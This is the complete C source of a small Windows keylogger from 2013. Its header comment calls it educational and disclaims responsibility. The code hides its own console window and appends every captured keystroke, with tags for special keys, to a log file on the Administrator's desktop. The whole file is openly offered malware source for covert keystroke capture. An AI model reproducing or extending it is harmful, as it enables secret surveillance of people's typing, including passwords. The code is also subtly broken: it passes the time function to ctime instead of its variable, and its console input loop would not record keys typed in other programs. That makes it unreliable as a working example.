1. /*
2.     Simple WINDOWS keylogger by jkrix 2013.
3.     User may distribute and modify source code but MUST keep this top commented section in the source code!
4.  
5.     Very important note:
6.  
7.     To be used for educational use and not for malicious tasks!
8.     I will NOT be held responsible for anything silly you may do with this!
9. */
10. #include <stdio.h>
11. #include <conio.h>
12. #include <windows.h>
13. #include <time.h>
14.  
15. #define PATH "C:/Users/Administrator/Desktop/test-log.txt" // The path to the log file
16.  
17. int main(){
18.     char capture;
19.     FILE *file;
20.  
21.     // Time stuff.
22.     time_t t;
23.     t = time(NULL);
24.     // Hide the window
25.     HWND window;
26.     AllocConsole();
27.     window=FindWindowA("ConsoleWindowClass",NULL);
28.     ShowWindow(window,0);
29.  
30.     file = fopen(PATH, "a+");
31.     fprintf(file, "\n#$Logger: Written by jkrix. Started logging @ %s", ctime(&time));
32.  
33.     while(1)
34.     {
35.         Sleep(20); // To make sure this program doesn't steal all resources.
36.         if (kbhit())
37.         {
38.             capture = getch();
39.             // Just add in some helper strings here to the file, feel free to modify these to your needs.
40.             switch ((int)capture){
41.                 case ' ': // Space key...obviously.
42.                     fprintf(file, " ");
43.                     break;
44.                 case 0x09: // Tab key.
45.                     fprintf(file, "[TAB]");
46.                     break;
47.                 case 0x0D: // Enter key.
48.                     fprintf(file, "[ENTER]");
49.                     break;
50.                 case 0x1B: // Escape key.
51.                     fprintf(file, "[ESC]");
52.                     break;
53.                 case 0x08: // Backspace key.
54.                     fprintf(file, "[BACKSPACE]");
55.                     break;
56.                 default:
57.                     fputc(capture,file); // Put any other inputted key into the file.
58.             }
59.  
60.             if ( (int) capture == 27 ){  // The escape key. You can change this to anything you want.
61.                 fclose(file);
62.                 return 0;
63.             }
64.         }
65.     }
66. }